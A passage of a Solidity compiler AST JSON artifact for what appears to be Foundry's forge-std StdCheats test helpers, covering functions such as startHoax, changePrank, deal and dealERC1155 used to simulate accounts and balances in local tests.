omitted)...1456"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_340282366920938463463374607431768211456_by_1","typeString":"int_const 3402...(31 digits omitted)...1456"}],"expression":{"id":5735,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"25998:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5737,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26001:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"25998:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25998:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5743,"nodeType":"ExpressionStatement","src":"25998:28:3"},{"expression":{"arguments":[{"id":5747,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5730,"src":"26050:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5748,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5732,"src":"26061:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5744,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26036:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5746,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26039:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"26036:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5749,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26036:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5750,"nodeType":"ExpressionStatement","src":"26036:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"25926:9:3","parameters":{"id":5733,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5730,"mutability":"mutable","name":"msgSender","nameLocation":"25944:9:3","nodeType":"VariableDeclaration","scope":5752,"src":"25936:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5729,"name":"address","nodeType":"ElementaryTypeName","src":"25936:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5732,"mutability":"mutable","name":"origin","nameLocation":"25963:6:3","nodeType":"VariableDeclaration","scope":5752,"src":"25955:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5731,"name":"address","nodeType":"ElementaryTypeName","src":"25955:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25935:35:3"},"returnParameters":{"id":5734,"nodeType":"ParameterList","parameters":[],"src":"25988:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5776,"nodeType":"FunctionDefinition","src":"26081:168:3","nodes":[],"body":{"id":5775,"nodeType":"Block","src":"26166:83:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5764,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5754,"src":"26184:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5765,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5758,"src":"26195:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5761,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26176:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5763,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26179:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"26176:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26176:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5767,"nodeType":"ExpressionStatement","src":"26176:24:3"},{"expression":{"arguments":[{"id":5771,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5754,"src":"26224:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5772,"name":"origin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5756,"src":"26235:6:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5768,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26210:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5770,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26213:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"26210:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5773,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26210:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5774,"nodeType":"ExpressionStatement","src":"26210:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"startHoax","nameLocation":"26090:9:3","parameters":{"id":5759,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5754,"mutability":"mutable","name":"msgSender","nameLocation":"26108:9:3","nodeType":"VariableDeclaration","scope":5776,"src":"26100:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5753,"name":"address","nodeType":"ElementaryTypeName","src":"26100:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5756,"mutability":"mutable","name":"origin","nameLocation":"26127:6:3","nodeType":"VariableDeclaration","scope":5776,"src":"26119:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5755,"name":"address","nodeType":"ElementaryTypeName","src":"26119:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5758,"mutability":"mutable","name":"give","nameLocation":"26143:4:3","nodeType":"VariableDeclaration","scope":5776,"src":"26135:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5757,"name":"uint256","nodeType":"ElementaryTypeName","src":"26135:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26099:49:3"},"returnParameters":{"id":5760,"nodeType":"ParameterList","parameters":[],"src":"26166:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5797,"nodeType":"FunctionDefinition","src":"26255:218:3","nodes":[],"body":{"id":5796,"nodeType":"Block","src":"26312:161:3","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"6368616e67655072616e6b20697320646570726563617465642e20506c656173652075736520766d2e73746172745072616e6b20696e73746561642e","id":5782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26345:62:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_bf508b7e551ac53ebc43878423035cd08b5a26a319837cc862ef3353a105823a","typeString":"literal_string \"changePrank is deprecated. Please use vm.startPrank instead.\""},"value":"changePrank is deprecated. Please use vm.startPrank instead."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bf508b7e551ac53ebc43878423035cd08b5a26a319837cc862ef3353a105823a","typeString":"literal_string \"changePrank is deprecated. Please use vm.startPrank instead.\""}],"id":5781,"name":"console2_log_StdCheats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6329,"src":"26322:22:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) view"}},"id":5783,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26322:86:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5784,"nodeType":"ExpressionStatement","src":"26322:86:3"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5785,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26418:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5787,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26421:9:3","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"26418:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26418:14:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5789,"nodeType":"ExpressionStatement","src":"26418:14:3"},{"expression":{"arguments":[{"id":5793,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5778,"src":"26456:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5790,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26442:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5792,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26445:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"26442:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26442:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5795,"nodeType":"ExpressionStatement","src":"26442:24:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"changePrank","nameLocation":"26264:11:3","parameters":{"id":5779,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5778,"mutability":"mutable","name":"msgSender","nameLocation":"26284:9:3","nodeType":"VariableDeclaration","scope":5797,"src":"26276:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5777,"name":"address","nodeType":"ElementaryTypeName","src":"26276:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26275:19:3"},"returnParameters":{"id":5780,"nodeType":"ParameterList","parameters":[],"src":"26312:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5817,"nodeType":"FunctionDefinition","src":"26479:150:3","nodes":[],"body":{"id":5816,"nodeType":"Block","src":"26554:75:3","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5804,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26564:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5806,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26567:9:3","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"26564:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":5807,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26564:14:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5808,"nodeType":"ExpressionStatement","src":"26564:14:3"},{"expression":{"arguments":[{"id":5812,"name":"msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5799,"src":"26602:9:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5813,"name":"txOrigin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5801,"src":"26613:8:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5809,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26588:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5811,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26591:10:3","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15462,"src":"26588:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":5814,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26588:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5815,"nodeType":"ExpressionStatement","src":"26588:34:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"changePrank","nameLocation":"26488:11:3","parameters":{"id":5802,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5799,"mutability":"mutable","name":"msgSender","nameLocation":"26508:9:3","nodeType":"VariableDeclaration","scope":5817,"src":"26500:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5798,"name":"address","nodeType":"ElementaryTypeName","src":"26500:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5801,"mutability":"mutable","name":"txOrigin","nameLocation":"26527:8:3","nodeType":"VariableDeclaration","scope":5817,"src":"26519:16:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5800,"name":"address","nodeType":"ElementaryTypeName","src":"26519:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26499:37:3"},"returnParameters":{"id":5803,"nodeType":"ParameterList","parameters":[],"src":"26554:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5832,"nodeType":"FunctionDefinition","src":"26720:91:3","nodes":[],"body":{"id":5831,"nodeType":"Block","src":"26777:34:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5827,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5819,"src":"26795:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5828,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5821,"src":"26799:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5824,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"26787:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5826,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"26790:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"26787:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5829,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26787:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5830,"nodeType":"ExpressionStatement","src":"26787:17:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deal","nameLocation":"26729:4:3","parameters":{"id":5822,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5819,"mutability":"mutable","name":"to","nameLocation":"26742:2:3","nodeType":"VariableDeclaration","scope":5832,"src":"26734:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5818,"name":"address","nodeType":"ElementaryTypeName","src":"26734:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5821,"mutability":"mutable","name":"give","nameLocation":"26754:4:3","nodeType":"VariableDeclaration","scope":5832,"src":"26746:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5820,"name":"uint256","nodeType":"ElementaryTypeName","src":"26746:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26733:26:3"},"returnParameters":{"id":5823,"nodeType":"ParameterList","parameters":[],"src":"26777:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5849,"nodeType":"FunctionDefinition","src":"26935:117:3","nodes":[],"body":{"id":5848,"nodeType":"Block","src":"27007:45:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5842,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5834,"src":"27022:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5843,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5836,"src":"27029:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5844,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5838,"src":"27033:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"66616c7365","id":5845,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"27039:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":5841,"name":"deal","nodeType":"Identifier","overloadedDeclarations":[5832,5849,5972],"referencedDeclaration":5972,"src":"27017:4:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bool_$returns$__$","typeString":"function (address,address,uint256,bool)"}},"id":5846,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27017:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5847,"nodeType":"ExpressionStatement","src":"27017:28:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deal","nameLocation":"26944:4:3","parameters":{"id":5839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5834,"mutability":"mutable","name":"token","nameLocation":"26957:5:3","nodeType":"VariableDeclaration","scope":5849,"src":"26949:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5833,"name":"address","nodeType":"ElementaryTypeName","src":"26949:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5836,"mutability":"mutable","name":"to","nameLocation":"26972:2:3","nodeType":"VariableDeclaration","scope":5849,"src":"26964:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5835,"name":"address","nodeType":"ElementaryTypeName","src":"26964:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5838,"mutability":"mutable","name":"give","nameLocation":"26984:4:3","nodeType":"VariableDeclaration","scope":5849,"src":"26976:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5837,"name":"uint256","nodeType":"ElementaryTypeName","src":"26976:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26948:41:3"},"returnParameters":{"id":5840,"nodeType":"ParameterList","parameters":[],"src":"27007:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5869,"nodeType":"FunctionDefinition","src":"27178:147:3","nodes":[],"body":{"id":5868,"nodeType":"Block","src":"27269:56:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":5861,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5851,"src":"27291:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5862,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5853,"src":"27298:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":5863,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5855,"src":"27302:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":5864,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5857,"src":"27306:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"66616c7365","id":5865,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"27312:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":5860,"name":"dealERC1155","nodeType":"Identifier","overloadedDeclarations":[5869,6093],"referencedDeclaration":6093,"src":"27279:11:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_uint256_$_t_bool_$returns$__$","typeString":"function (address,address,uint256,uint256,bool)"}},"id":5866,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27279:39:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5867,"nodeType":"ExpressionStatement","src":"27279:39:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"dealERC1155","nameLocation":"27187:11:3","parameters":{"id":5858,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5851,"mutability":"mutable","name":"token","nameLocation":"27207:5:3","nodeType":"VariableDeclaration","scope":5869,"src":"27199:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5850,"name":"address","nodeType":"ElementaryTypeName","src":"27199:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5853,"mutability":"mutable","name":"to","nameLocation":"27222:2:3","nodeType":"VariableDeclaration","scope":5869,"src":"27214:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5852,"name":"address","nodeType":"ElementaryTypeName","src":"27214:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5855,"mutability":"mutable","name":"id","nameLocation":"27234:2:3","nodeType":"VariableDeclaration","scope":5869,"src":"27226:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5854,"name":"uint256","nodeType":"ElementaryTypeName","src":"27226:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5857,"mutability":"mutable","name":"give","nameLocation":"27246:4:3","nodeType":"VariableDeclaration","scope":5869,"src":"27238:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5856,"name":"uint256","nodeType":"ElementaryTypeName","src":"27238:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"27198:53:3"},"returnParameters":{"id":5859,"nodeType":"ParameterList","parameters":[],"src":"27269:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5972,"nodeType":"FunctionDefinition","src":"27331:837:3","nodes":[],"body":{"id":5971,"nodeType":"Block","src":"27416:752:3","nodes":[],"statements":[{"assignments":[null,5881],"declarations":[null,{"constant":false,"id":5881,"mutability":"mutable","name":"balData","nameLocation":"27473:7:3","nodeType":"VariableDeclaration","scope":5971,"src":"27460:20:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5880,"name":"bytes","nodeType":"ElementaryTypeName","src":"27460:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5890,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783730613038323331","id":5886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27524:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"},{"id":5887,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5873,"src":"27536:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5884,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27501:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5885,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27505:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"27501:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":5888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27501:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5882,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5871,"src":"27484:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5883,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"27490:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"27484:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes 